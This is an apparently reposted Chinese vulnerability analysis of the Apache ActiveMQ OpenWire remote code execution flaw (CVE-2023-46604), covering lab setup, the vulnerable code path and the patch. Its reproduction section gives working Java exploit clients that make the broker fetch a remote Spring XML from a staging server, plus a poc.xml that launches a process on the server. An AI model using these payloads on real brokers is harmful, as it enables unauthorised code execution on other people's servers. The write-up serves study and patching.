Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

1. 前言

官方公告:
https://activemq.apache.org/news/cve-2023-46604            
https://nvd.nist.gov/vuln/detail/CVE-2023-46604

漏洞描述:
ActiveMQ 对传入的 TCP 数据没有进行校验。攻击者可构造特殊数据流在服务端加载任意类,最终能直接执行任意命令。

影响版本:
Apache ActiveMQ:         
    < 5.15.16
    < 5.16.7
    < 5.17.6
    < 5.18.3

ActiveMQ 简介:
Apache ActiveMQ 是一个开源的消息中间件,实现了 Java Message Service (JMS) 规范。它是 Apache 软件基金会的项目之一,用于实现高性能、可扩展、松耦合的消息传递系统。

在 ActiveMQ 中,生产者(Producer)发送消息到 Queue 或者  Topic 中,消费者(consumer)通过 ActiveMQ 支持的传输协议连接到 ActiveMQ 接受消息并做处理。

2. 环境搭建

 

2-1. 搭建ActiveMQ服务

在官网下载压缩包:
https://activemq.apache.org/download-archives

解压后进入 bin 目录,activemq start启动服务;Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

访问http://127.0.0.1:8161/,默认用户名/密码为admin/admin,进入管理页面,搭建成功。
Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)ActiveMQ 默认情况下使用了 OpenWire 协议,而 OpenWire 协议是基于二进制的,面向网络的协议,通常通过 TCP 进行通信,默认监听 61616 端口。

关于管理页面的介绍可参考:
https://blog.csdn.net/csdndys/article/details/130505328

2-2. 创建Demo

创建一个 Spring Boot 项目,选择 activemq 依赖;         
Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

或者手动添加,不过会有 log4j 冲突,比较麻烦。

<dependency>    <groupId>org.apache.activemq</groupId>    <artifactId>activemq-all</artifactId>    <version>5.17.5</version></dependency>

或者新建空项目,添加如下依赖,比较靠谱。

<dependency>    <groupId>org.apache.activemq</groupId>    <artifactId>activemq-spring</artifactId>    <version>5.18.2</version></dependency>

当前测试环境版本:

  • Spring Boot 版本:2.7.5

  • 对应ActiveMQ版本:5.16.5

  • JDK 11

resources 目录下创建配置文件log4j.xml    

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"><log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">    <!-- Define the console appender -->    <appender name="console" class="org.apache.log4j.ConsoleAppender">        <param name="Target" value="System.out" />        <layout class="org.apache.log4j.PatternLayout">            <param name="ConversionPattern" value="%-5p %d{yyyy-MM-dd HH:mm:ss} [%t] %c{1} - %m%n" />        </layout>    </appender>        <!-- Define the root logger with appender -->    <root>        <priority value="debug" />        <appender-ref ref="console" />    </root></log4j:configuration>

写一个与 ActiveMQ 服务器发送消息的 Demo ;

import org.apache.activemq.ActiveMQConnectionFactory;import javax.jms.*;public class ActiveMQDemo {    public static void main(String[] args) {        //连接 ActiveMQ 服务器        String url = "tcp://127.0.0.1:61616";        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(url);        Connection connection =  null;
try { connection = connectionFactory.createConnection(); connection.start(); //创建会话 Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); //创建队列 Destination destination = session.createQueue("myQueue"); //创建消息生产者 MessageProducer producer = session.createProducer(destination); //创建消息 ObjectMessage objectMessage = session.createObjectMessage("123");// TextMessage textMessage = session.createTextMessage("123"); //发送消息 producer.send(objectMessage); System.out.println("Message Sent: " + objectMessage.getObject()); //创建消息消费者 MessageConsumer consumer = session.createConsumer(destination); //接收消息 Message receviedMessage = consumer.receive(); if (receviedMessage instanceof ObjectMessage) { ObjectMessage message = (ObjectMessage) receviedMessage;// TextMessage message = (TextMessage) receviedMessage; System.out.println("Recevied message: " + message.getObject());            }           //关闭会话 session.close(); } catch (JMSException e) { throw new RuntimeException(e); } finally { if (connection != null) { try { connection.close(); } catch (JMSException e) { e.printStackTrace(); } } } }}

运行,控制台可以看到信息输出,管理页面也有消息记录。         
Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

3. 流程分析

BaseDataStreamMarshaller.createThrowable()中,根据传入的的类名和消息,实例化并返回了一个 Throwable 类型的对象;
搜索发现,在
tightUnmarsalThrowable()looseUnmarsalThrowable()中都调用createThrowable()方法;
Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

再搜索,找到 ExceptionResponseMarshaller ConnectionErrorMarshaller MessageAckMarshaller 中tightUnmarshal()looseUnmarshal()方法分别调用了tightUnmarsalThrowable()looseUnmarsalThrowable()
Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

以 ExceptionResponseMarshaller 为例,其中的这两个方法是对 ExceptionResponse 对象进行序列化、反序列化操作,当处理 ExceptionResponse 类型消息时就会触发 ExceptionResponseMarshaller 中的方法。

在发送消息的时候,会将消息类型对象作为参数传递给ActiveMQConnection.syncSendPacket(),一直传递到TcpTransport.oneway(),调用哪个oneway()是由this.transport变量决定的;Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

然后调用OpenWireFormat.marshal()进行序列化,这里会根据type的值来选择处理器的类型;

type的值是跟收到的消息类型有关,这里消息类型是 ObjectMessage ,对应 ActiveMQObjectMessage,type值为26,那么调用的就是 ActiveMQObjectMessageMarshaller 
Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

然后在处理消息的时候会调用到OpenWireFormat.doUnmarshal()进行反序列化,这里原理和序列化时一样。

Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

所以目的就是要构造一个 ExceptionResponseConnectionError 或 MessageAck 类型的消息。

4. 漏洞复现

new 一个 ExceptionResponse 类型对象,给它抛出一个 ClassPathXmlApplicationContext 异常,使其从指定路径加载恶意代码;
然后直接调用
ActiveMQSession.syncSendPacket(),将 ExceptionResponse 消息作为参数发送给 ActiveMQ 服务器,即可触发。

public class ActiveMQDemo {    public static void main(String[] args) throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");        Connection connection = connectionFactory.createConnection();        connection.start();
ActiveMQSession session = (ActiveMQSession) connection.createSession();
ExceptionResponse exceptionResponse = new ExceptionResponse(); exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml")); session.syncSendPacket(exceptionResponse);
connection.close(); }}

需要重新定义org.springframework.context.support.ClassPathXmlApplicationContext,使其继承 Throwable

package org.springframework.context.support;       public class ClassPathXmlApplicationContext extends Throwable{    private String message;           public ClassPathXmlApplicationContext(String message) {        this.message = message;    }
@Override public String getMessage() { return message; }}

Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

或者直接调用oneway()方法,将消息对象作为参数传给他。

前面说了,oneway()方法的选择是跟this.transport有关,而AvtiveMQObjectMessage.getTransportChannel()方法就是获取当前的this.transport

Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

new 一个 ExceptionResponse 类型对象,同样给它抛出 ClassPathXmlApplicationContext 异常。

//ExceptionResponseObject msg = new ExceptionResponse(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));((ActiveMQConnection) connection).getTransportChannel().oneway(msg);

同理 ConnectionError 利用:

//ConnectionErrorThrowable o = new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml");ConnectionError msg = new ConnectionError();msg.setConnectionId(new ConnectionId());msg.setException(o);((ActiveMQConnection) connection).getTransportChannel().oneway(msg);

MessageAck 利用:

//MessageAckMessageAck msg2 = new MessageAck();msg2.setPoisonCause(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));((ActiveMQConnection) connection).getTransportChannel().oneway(msg2);

poc.xml 内容是弹计算器:

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg >        <list>            <value>calc.exe</value>        </list>        </constructor-arg>    </bean></beans>

Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

5. 补丁分析

https://github.com/apache/activemq/pull/1098/commits/3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b

createThrowable()方法中新增了validateIsThrowable()校验;
validateIsThrowable()的作用是判断获取到的类是否是 Throwable 的子类。
Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604) 

参考链接:

https://exp10it.cn/2023/10/apache-activemq-版本-5.18.3-rce-分析/
http://www.lvyyevd.cn/archives/apacheactivemqrce-fen-xi
https://www.ctfiot.com/141159.html
http://www.hackdig.com/10/hack-1132519.htm

原文始发于微信公众号(中孚安全技术研究):Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)

版权声明:admin 发表于 2023年11月27日 下午5:23。
转载请注明:Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...